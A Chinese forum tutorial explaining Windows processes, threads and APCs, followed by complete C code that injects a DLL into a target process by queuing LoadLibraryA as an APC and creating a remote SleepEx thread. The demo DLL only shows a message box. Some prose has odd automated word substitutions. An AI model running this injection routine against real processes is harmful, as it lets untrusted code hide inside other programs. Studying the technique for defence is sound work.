历程注入说人话系列:Windows API安全实战-APC注入

打印 上一主题 下一主题

主题 2131|帖子 2131|积分 6393

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
历程、线程、APC的关系

历程



  • 历程:是Windows给程序分配的一个“大房子”,里面有内存空间、资源(比如文件句柄、窗口啥的)和执行环境。简单说,它是个容器,装着程序运行必要的一切东西。
  • 在内核里,历程由一个EPROCESS结构体表示,包含了历程ID(PID)、虚拟内存地点空间、优先级啥的。每个历程有本身的4GB虚拟内存(32位系统为例),用户态占2GB,内核态占2GB。
  • 关键点:历程本身不干活,它只是个壳子,真正干活的是里面的线程。
线程



  • 线程:历程里的“工人”,是CPU调度的最小单位。每个线程有本身的堆栈和寄存器,线程之间共享历程的内存和资源。一个历程可以有一个线程(主线程),也可以有多个线程并发干活。
  • 内核用ETHREAD结构体表示线程,绑定在某个EPROCESS下。线程有本身的调度优先级和上下文,CPU通过时间片轮转让线程跑起来
  • 关键点:线程是历程的执行单位,没线程,历程就是个空壳子。线程之间共享内存,但调度是独立的。
APC



  • APC是“异步过程调用”,简单说就是给线程塞个任务,让它在特定机遇(比如等候I/O时)去执行。APC不本身跑,它得依附在线程身上。
  • 使用场景:比如你在等文件读写完成,忽然想插个队干点别的事(比如日志记载),APC就派上用场了。
  • APC有两种:

    • 内核APC:内核态用的,比如驱动开发。
    • 用户APC:用户态用的。线程有个APC队列(挂在ETHREAD里),当线程进入可警觉状态(alertable state,比如调用SleepEx、WaitForSingleObjectEx),内核会从队列里掏出APC让线程执行。

  • 关键点:APC不是线程,它是个“任务”,得靠线程执行,而且线程得配合(进入alertable状态)。
三者的关系:分工



  • 历程和线程:
    历程是工厂,线程是工人,在房子里干活。一个历程可以有多个线程,就像一个工厂可以有多个工人,负责不同的工作。历程挂了,线程全完蛋;线程挂了,历程还能活(只要还有其他线程)。
  • 线程和APC:
    线程是干活的主力,APC是给线程送信的小弟。线程忙着跑代码,APC说:“哥,等你喘口气,帮我跑个腿”。线程得进入可警觉状态(比如SleepEx),才会理APC。
  • 历程和APC:
    APC不直接跟历程打交道,它得通过线程。历程管着线程,线程管着APC队列,以是APC终极照旧得看历程这大哥的脸色。
  • 系统层面:
    内核里,EPROCESS管着ETHREAD,ETHREAD管着APC队列。APC执行时,借用线程的上下文,跑在历程的地点空间里。
系统状态下的APC



  • APC任务啥时间执行
    APC不是随时都能跑的,它得等线程进入一种特别的状态——可警觉状态(alertable state)。简单说,线程只有在“有空”的时间,才会去处置惩罚APC队列里的任务。
    可警觉状态是线程在调用某些特定Windows API时进入的一种状态,这些API通常是跟等候相关的函数,而且往往带“Ex”后缀,比如:

    • SleepEx
    • WaitForSingleObjectEx
    • MsgWaitForMultipleObjectsEx
      当线程调用这些函数时,它会告诉系统:“我现在在等候,没啥要紧事,你可以让我处置惩罚点别的事,比如APC。”这时间,系统就会检查线程的APC队列,如果有任务,就让线程去执行。

  • 为什么要等可警觉状态
    APC不能恣意插队执行,因为线程在正常运行代码时,CPU寄存器和堆栈都在忙着。如果APC强行打断,大概会搞乱线程的执行逻辑,甚至导致程序瓦解。以是,Windows操持了可警觉状态,让APC在安全的机遇(比如线程在等候时)执行。
  • 系统怎么处置惩罚APC

    • 入队:通过QueueUserAPC,你把APC任务塞到目的线程的APC队列里。
    • 等候检查:线程调用SleepEx之类函数时,进入可警觉状态,系统检查APC队列。
    • 执行:如果队列里有APC,线程就暂停等候,去执行APC函数。执行完后,再继续等候或干别的。

留意:APC是借用目的线程的上下文执行的,用的是线程的堆栈和寄存器,不是开新线程跑。
常见疑问



  • APC不是异步的吗?为什么还要等?
    APC是异步列队的,但执行是同步的,得等线程配合(进入可警觉状态)。
  • 线程一直在忙(比如while(1)循环),APC会跑吗?
    不会。因为线程没进入可警觉状态,APC就一直列队等。
APC 注入

注入代码

  1. #include <Windows.h>
  2. #include <TlHelp32.h>
  3. #include <stdio.h>
  4. BOOL InjectAPC(DWORD dwPid, const char* dllPath) {
  5.     /*
  6.     dwPid: 目标进程的PID
  7.     dllPath: 要注入的DLL路径
  8.     */
  9.    // 打开目标进程
  10.     HANDLE hProcess = OpenProcess(
  11.         PROCESS_ALL_ACCESS,  // 指定打开进程的权限,这里指定为 所有权限
  12.         FALSE,              // 指定是否继承句柄
  13.         dwPid               // 指定要打开的进程ID
  14.     );
  15.     if (hProcess == NULL) {
  16.         printf("[-] 打开进程失败: %d\n", GetLastError());
  17.         return FALSE;
  18.     }
  19.     // 在目标进程中分配内存
  20.     LPVOID pRemotePath = VirtualAllocEx(
  21.         hProcess,                       // 指定目标进程
  22.         NULL,                           // 指定目标内存地址,这里指定为 NULL,因为要分配内存
  23.         strlen(dllPath) + 1,            // 指定要分配的内存大小,这里指定为 DLL 路径的长度 + 1,因为需要包含 NULL 终止符
  24.         MEM_COMMIT | MEM_RESERVE,       // 指定内存分配的类型,这里指定为 可提交 和 保留 内存
  25.         PAGE_READWRITE                  // 指定内存的访问权限,这里指定为 可读写
  26.     );
  27.     if (pRemotePath == NULL) {
  28.         printf("[-] 内存分配失败: %d\n", GetLastError());
  29.         CloseHandle(hProcess);
  30.         return FALSE;
  31.     }
  32.     // 写入 DLL 路径到目标进程内存
  33.     if (!WriteProcessMemory(
  34.         hProcess,               // 指定要写入数据的目标进程
  35.         pRemotePath,            // 指定目标内存地址,这里指定为在目标进程中分配的pRemotePath内存地址
  36.         dllPath,                // 源数据地址信息,也就是DLL路径
  37.         strlen(dllPath) + 1,    // 要写入的字节数,这里指定为 DLL 路径的长度 + 1,因为需要包含 NULL 终止符
  38.         NULL                    // 可选参数,标识实际写入了多少字节数。
  39.     )) {
  40.         printf("[-] 写入内存失败: %d\n", GetLastError());
  41.         VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
  42.         CloseHandle(hProcess);
  43.         return FALSE;
  44.     }
  45.     // 获取 LoadLibraryA 函数地址,固定写法。从 kernel32.dll 中获取LoadLibraryA的内存地址用于挂载APC
  46.     LPTHREAD_START_ROUTINE pLoadLibraryA = (LPTHREAD_START_ROUTINE)GetProcAddress(
  47.         GetModuleHandleA("kernel32.dll"), "LoadLibraryA"
  48.     );
  49.     if (pLoadLibraryA == NULL) {
  50.         printf("[-] 获取 LoadLibraryA 函数地址失败: %d\n", GetLastError());
  51.         VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
  52.         CloseHandle(hProcess);
  53.         return FALSE;
  54.     }
  55.     // 获取当前系统中所有线程的快照
  56.     HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
  57.     if (hSnapshot == INVALID_HANDLE_VALUE) {
  58.         printf("[-] 获取线程快照失败: %d\n", GetLastError());
  59.         return FALSE;
  60.     }
  61.     THREADENTRY32 te = { sizeof(THREADENTRY32) };
  62.     DWORD successCount = 0;
  63.     // 这里通过获取到的线程快照中所属的进程ID与目标进程的PID进行对比,如果相同则打开该线程
  64.     if (Thread32First(hSnapshot, &te)) {
  65.         do {
  66.             if (te.th32OwnerProcessID == dwPid) {
  67.                 // 打开匹配到的目标进程的线程
  68.                 HANDLE hThread = OpenThread(
  69.                     // 指定打开线程的权限。APC需要用到的权限:THREAD_SET_CONTEXT 允许设置线程的上下文。THREAD_SUSPEND_RESUME 允许挂起和恢复线程。THREAD_QUERY_INFORMATION 允许查询线程信息。
  70.                     THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION,  
  71.                     FALSE,  // 指定是否继承句柄
  72.                     te.th32ThreadID  // 指定要打开的线程ID
  73.                 );
  74.                 if (hThread) {
  75.                     // 挂载 APC 到目标进程的线程,
  76.                     DWORD res = QueueUserAPC(
  77.                         (PAPCFUNC)pLoadLibraryA,  // 指定要执行的函数,这里指定为 LoadLibraryA 函数,由LoadLibraryA 函数加载 目标DLL 到目标进程
  78.                         hThread,                  // 指定目标线程,这里指定为当前遍历到的线程
  79.                         (ULONG_PTR)pRemotePath    // 指定要传递的参数,这里指定为 目标DLL 的路径
  80.                     );
  81.                     if (res) {
  82.                         printf("[+] 设置APC任务的线程ID: %d\n", te.th32ThreadID);
  83.                         successCount++;
  84.                     }
  85.                     CloseHandle(hThread);
  86.                 }
  87.                 else {
  88.                     printf("[-] OpenThread失败!线程ID: %d, 错误码: %d\n", te.th32ThreadID, GetLastError());
  89.                 }
  90.             }
  91.         } while (Thread32Next(hSnapshot, &te));
  92.     }
  93.     CloseHandle(hSnapshot);
  94.     // 新创建一个远程 SleepEx(INFINITE, TRUE) 线程 + 挂载 APC。保底方案,如果所有线程都不 Alertable,则创建一个线程并挂载 APC
  95.     HANDLE hSleepThread = CreateRemoteThread(
  96.         hProcess,  // 指定目标进程
  97.         NULL,      // 线程属性
  98.         0,         // 线程栈大小
  99.         (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("kernel32.dll"), "SleepEx"),  // 指定要执行的函数,这里指定为 SleepEx 函数,由 SleepEx 函数挂载 APC
  100.         (LPVOID)INFINITE,  // 传递INFINITE 作为休眠时间,INFINITE是一个宏,表示无限休眠
  101.         0,               // 创建标志
  102.         NULL             // 线程ID
  103.     );
  104.     if (hSleepThread) {
  105.         DWORD result = QueueUserAPC(
  106.             (PAPCFUNC)pLoadLibraryA,  // 指定要执行的函数,这里指定为 LoadLibraryA 函数,由LoadLibraryA 函数加载 目标DLL 到目标进程
  107.             hSleepThread,             // 指定目标线程,这里指定为通过CreateRemoteThread创建的线程
  108.             (ULONG_PTR)pRemotePath    // 指定要传递的参数,这里指定为 目标DLL 的路径
  109.         );
  110.         if (result) {
  111.             printf("[+] 成功挂载 APC 到新建 SleepEx 线程(强制 Alertable)!\n");
  112.             successCount++;
  113.         }
  114.         else {
  115.             printf("[-] QueueUserAPC 到 SleepEx 线程失败: %d\n", GetLastError());
  116.         }
  117.         // 线程保持运行,由系统回收;如果想控制它结束,DLL里可以清理
  118.         CloseHandle(hSleepThread);
  119.     }
  120.     else {
  121.         printf("[-] 创建远程 SleepEx 线程失败: %d\n", GetLastError());
  122.     }
  123.     CloseHandle(hProcess);
  124.     if (successCount > 0) {
  125.         printf("[+] APC 注入尝试完成!至少有一个线程进入 Alertable 状态。\n");
  126.         return TRUE;
  127.     }
  128.     else {
  129.         printf("[-] 所有线程都不 Alertable,DLL 注入失败。\n");
  130.         return FALSE;
  131.     }
  132. }
  133. int main() {
  134.     DWORD pid = 26912;
  135.     const char* dllPath = "D:\\MessageBox-DLL\\InjectMe.dll";
  136.     InjectAPC(pid, dllPath);
  137.     return 0;
  138. }
复制代码
InjectMe.dll代码

  1. #include <Process.h>
  2. #include <stdio.h>
  3. #include <Windows.h>
  4. // 编译工具:使用 x64 Native Tools Command Prompt for VS 2022
  5. // 执行:cl /LD InjectMe.c /Fe:InjectMe.dll user32.lib
  6. BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
  7.         if (fdwReason == DLL_PROCESS_ATTACH) {
  8.                 MessageBoxW(NULL, L"Hello Kitty 注入成功!", L"InjectMe.dll", MB_OK | MB_ICONINFORMATION);
  9.         }
  10.         return TRUE;
  11. }
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

守听

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表